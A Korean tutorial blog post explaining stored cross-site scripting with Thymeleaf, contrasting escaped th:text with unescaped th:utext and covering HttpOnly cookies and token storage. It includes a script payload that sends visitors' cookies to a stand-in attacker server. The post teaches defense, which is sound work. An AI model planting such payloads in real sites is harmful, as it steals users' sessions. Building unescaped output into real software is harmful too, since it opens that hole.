XSS(cross-site scripting) 공격

설명

XSS 는 쉽게 말하면 해커가 자바스크립트 코드를 웹페이지에 심어 사용자의 정보를 탈취하는 종류의 공격이다. 일반적으로 웹 어플리케이션들은 사용자로부터 데이터를 입력받게 되는데 이 데이터에 해커가 자바스크립트 코드를 심어 놓을 수 있는 것이다.

쉽게 생각해 게시판에 글을 쓴다고 생각해보자. 글 내용에 해커가 자바스크립트 코드를 심어 놓고 사용자들이 이 글을 보면서 동시에 자바스크립트 코드가 실행되어 해커가 원하는 것을 얻을 수 있게 된다.

물론 이런 공격은 많이 알려져 있기 때문에 대부분에 이와 같은 입력은 사전에 필터링을 통해 차단한다. 그럼에도 불구하고 이와 같은 공격에는 여러가지 우회 방법이 존재할 수 있기 때문에 튼튼하게 방어해 놓지 않는다면 위험이 늘 존재하는 것이다.

예제 코드 - Thymeleaf에서의 XSS 테스트

Thymleaf에는 XSS를 막아주는 필터링이 들어가있다.

<!DOCTYPE HTML>
<html xmlns:th="http://www.thymeleaf.org">
<head>
  <title>Getting Started: Serving Web Content</title>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>
<body>
회원 리스트
<tr th:each="user : ${users}">
  <td th:text="${user.name}"></td>
</tr>

</body>
</html>

image

타임리프 문법에서 th:text를 사용하게 되면, XSS 공격에 대해서 막아주는 필터링이 적용된다.

Thymleaf에서 XSS를 막아주는 필터링을 없애보자.

타임리프 문법에서 th:text 대신에 th:utext를 사용하면 HTML 태그를 넣을 수 있다. 하지만 HTML 태그를 넣을 수 있게 되어서 XSS 공격으로부터 취약해진다.

image

해커가 되어서 쿠키를 해킹해보자.

image

입력하는 곳에 밑의 코드를 입력하자.

<script>fetch(`http://localhost:8081?token=${document.cookie}`)</script>

클라이언트의 쿠키에 대한 정보를 해커의 서버(localhost:8081라고 가정)로 보내는 코드이다.

image

회원 리스트를 조회하는 곳에 들어가면, 쿠키에 대한 정보를 해커의 서버로 보내는 <script>가 추가된 것을 볼 수 있다. 이 때문에, 회원 리스트를 볼 수 있는 페이지에 들어가는 클라이언트들은 전부 다 쿠키에 대한 정보를 해커의 서버로 보내버리게 되는 것이다.

image

위와 같은 공격은, 쿠키에 HttpOnly 설정을 하면 막을 수 있다.

쿠키에 HttpOnly 설정을 하게 되면, JavaScript 코드로 쿠키에 대한 정보를 얻을 수 있는 방법이 아예 사라진다. 즉, document.cookie를 사용해도 쿠키가 조회되지 않는 것이다. 이를 활용해 XSS 공격으로부터 막을 수 있다.

토큰을 LocalStorage에 저장하면 XSS에 취약해진다.

토큰을 LocalStorage에 저장하게 되면, JavaScript 코드(localStorage.getItem())로 토큰에 대한 정보를 쉽게 얻을 수 있게 된다. 쿠키와는 다르게 LocalStorage에는 HttpOnly와 같은 설정이 없어서, XSS를 막을 방법이 없다. 이 때문에, 토큰을 LocalStorage가 아닌 Cookie에 저장할 것을 권장한다.

Q&A

CORS가 XSS를 막아주는 것은 아니다.

How does CORS prevent XSS?

위의 예제 코드를 봐서 알겠지만, CORS 정책과 XSS는 전혀 상관이 없음을 알 수 있을 것이다.